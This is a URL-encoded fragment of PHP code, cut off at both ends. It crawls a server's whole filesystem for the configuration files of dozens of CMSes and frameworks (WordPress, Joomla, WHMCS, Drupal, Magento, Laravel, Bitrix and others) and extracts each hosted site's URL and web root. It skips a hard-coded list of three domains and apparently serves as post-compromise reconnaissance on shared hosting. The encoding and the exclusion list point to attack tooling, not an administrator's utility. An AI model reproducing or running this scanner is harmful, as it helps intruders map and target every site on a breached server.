0%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24server%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24wgServer%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24server%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20%24script%20%3D%20%27%27%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24wgScriptPath%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2A%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24script%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24server%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20rtrim%28%24server%2C%20%27/%27%29%20.%20%24script%2C%20%27mediawiki%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_typo3%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27TYPO3%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27typo3%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27typo3conf%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27base%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%27wwwURL%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5DbaseURL%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27typo3%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_modx%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20%28strpos%28%24c%2C%20%27%24database_dsn%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27modx%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24table_prefix%27%29%20%3D%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27MODX_%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24database_dsn%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24site_url%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5C%5C%5C%24modx_site_url%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5Dsite_url%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27modx%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_processwire%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20%28strpos%28%24c%2C%20%27ProcessWire%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24config-%3EhttpHosts%27%29%20%3D%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24config%5C%5Cs%2A-%3E%5C%5Cs%2AhttpHosts%5C%5Cs%2A%3D%5C%5Cs%2Aarray%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5C%5C%5C%24config%5C%5Cs%2A-%3E%5C%5Cs%2AhttpHosts%5C%5Cs%2A%3D%5C%5Cs%2A%5C%5C%5B%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%20%20%20%20%24scheme%20%3D%20%28strpos%28%24c%2C%20%22httpsForce%22%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24c%2C%20%22%27https%27%22%29%20%21%3D%3D%20false%29%20%3F%20%27https%3A//%27%20%3A%20%27http%3A//%27%3B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27site%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24scheme%20.%20%24host%2C%20%27processwire%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_october%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27activeTheme%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27backendUri%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Durl%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27october%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_craft%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27CRAFT_%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27PRIMARY_SITE_URL%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24url%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2APRIMARY_SITE_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24url%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20elseif%20%28preg_match%28%22/%5E%5Cs%2ACRAFT_BASE_CP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24url%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24url%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%24web%20%3D%20%24doc%20.%20%27/web%27%3B%20%20%20%20%20%20%20%20%20if%20%28%40is_dir%28%24web%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20%24web%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24url%2C%20%27craft%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_shopware%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%24is_sw%20%3D%20%28stripos%28%24c%2C%20%27SHOPWARE%27%29%20%21%3D%3D%20false%29%20%20%20%20%20%20%20%20%20%7C%7C%20%40is_dir%28%24root%20.%20%27/custom/plugins%27%29%20%20%20%20%20%20%20%20%20%7C%7C%20%40is_file%28%24root%20.%20%27/composer.json%27%29%20%26%26%20strpos%28%28string%29%40file_get_contents%28%24root%20.%20%27/composer.json%27%29%2C%20%27shopware/%27%29%20%21%3D%3D%20false%3B%20%20%20%20%20if%20%28%21%24is_sw%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%40is_file%28%24root%20.%20%27/artisan%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pub%20%3D%20%24root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20emit_found%28%40is_dir%28%24pub%29%20%3F%20%24pub%20%3A%20%24root%2C%20%24m%5B1%5D%2C%20%27shopware%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_laravel%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_file%28%24path_root%20.%20%27/artisan%27%29%29%20return%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27laravel%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_codeigniter3%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24config%5Cs%2A%5C%5B%5Cs%2A%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%5C%5D%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28dirname%28%24p%29%29%2C%20%24m%5B1%5D%2C%20%27codeigniter3%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_codeigniter4%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24baseURL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27codeigniter4%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_cakephp%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5DfullBaseUrl%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5DfullBaseUrl%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2Aenv%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5B%5E%27%5C%22%5D%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%24path_webroot%20%3D%20%24path_root%20.%20%27/webroot%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_webroot%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_webroot%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_webroot%2C%20%24m%5B1%5D%2C%20%27cakephp%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_symfony%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28%40is_file%28%24path_root%20.%20%27/artisan%27%29%29%20return%3B%20%20%20%20%20if%20%28stripos%28%24c%2C%20%27SHOPWARE%27%29%20%21%3D%3D%20false%20%7C%7C%20%40is_dir%28%24path_root%20.%20%27/custom/plugins%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5E%5Cs%2APUBLIC_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_file%28%24path_root%20.%20%27/bin/console%27%29%29%20return%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_out%20%3D%20%24path_public%3B%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_web%20%3D%20%24path_root%20.%20%27/web%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_out%20%3D%20%40is_dir%28%24path_web%29%20%3F%20%24path_web%20%3A%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_out%2C%20%24m%5B1%5D%2C%20%27symfony%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_kohana%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20%28strpos%28%24p%2C%20%27application/%27%29%20%21%3D%3D%20false%29%20%3F%20dirname%28dirname%28%24p%29%29%20%3A%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20emit_found%28%24path_root%2C%20%24m%5B1%5D%2C%20%27kohana%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_fuelphp%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_fuel%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24path_fuel%29%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27fuelphp%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_bitrix%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24p%2C%20%27bitrix%27%29%20%3D%3D%3D%20false%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dvalue%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28dirname%28%24p%29%29%2C%20%24m%5B1%5D%2C%20%27bitrix%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20%24existed%20%3D%20%5B%22pdrelaxguesthouse.dev%22%2C%22gymdailyfitness.com%22%2C%22affisecret.com%22%5D%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%09%09%09if%20%28%24path%20%3D%3D%3D%20%27/%27%20%7C%7C%20%24path%20%3D%3D%3D%20%27%27%29%20%7B%20%09%09%09%09%24p%20%3D%20%24path%20.%20%24file%3B%20%09%09%09%7D%20else%20%7B%20%09%09%09%09%24p%20%3D%20%24path%20.%20%27/%27%20.%20%24file%3B%20%09%09%09%7D%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24found%20%3D%20false%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24existed%20as%20%24domain%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24p%2C%20%24domain%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24found%20%3D%20true%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24found%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_wp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27configuration.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21scan_joomla%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_whmcs%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27settings.php%27%20%26%26%20%28strpos%28%24p%2C%20%27sites/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27sites%5C%5C%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_drupal%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27LocalSettings.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_mediawiki%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27LocalConfiguration.php%27%20%7C%7C%20%28%24file%20%3D%3D%20%27settings.php%27%20%26%26%20%28strpos%28%24p%2C%20%27typo3conf%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27typo3%27%29%20%21%3D%3D%20false%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_typo3%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.inc.php%27%20%26%26%20%28strpos%28%24p%2C%20%27modx%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27core/config%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_modx%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%28%24file%20%3D%3D%20%27parameters.php%27%20%7C%7C%20%24file%20%3D%3D%20%27settings.inc.php%27%29%20%26%26%20%28strpos%28%24p%2C%20%27/config%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Cconfig%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27/app/%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24head%20%3D%20%28string%29%40file_get_contents%28%24p%2C%20false%2C%20null%2C%200%2C%204000%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24head%2C%20%27database_host%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27_DB_SERVER_%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27prestashop%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27ps_%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_prestashop%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27env.php%27%20%26%26%20%28strpos%28%24p%2C%20%27app/etc%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27app%5C%5Cetc%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_magento%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27cms.php%27%20%26%26%20strpos%28%24p%2C%20%27config/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_october%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.php%27%20%26%26%20strpos%28%24p%2C%20%27/site/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_processwire%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2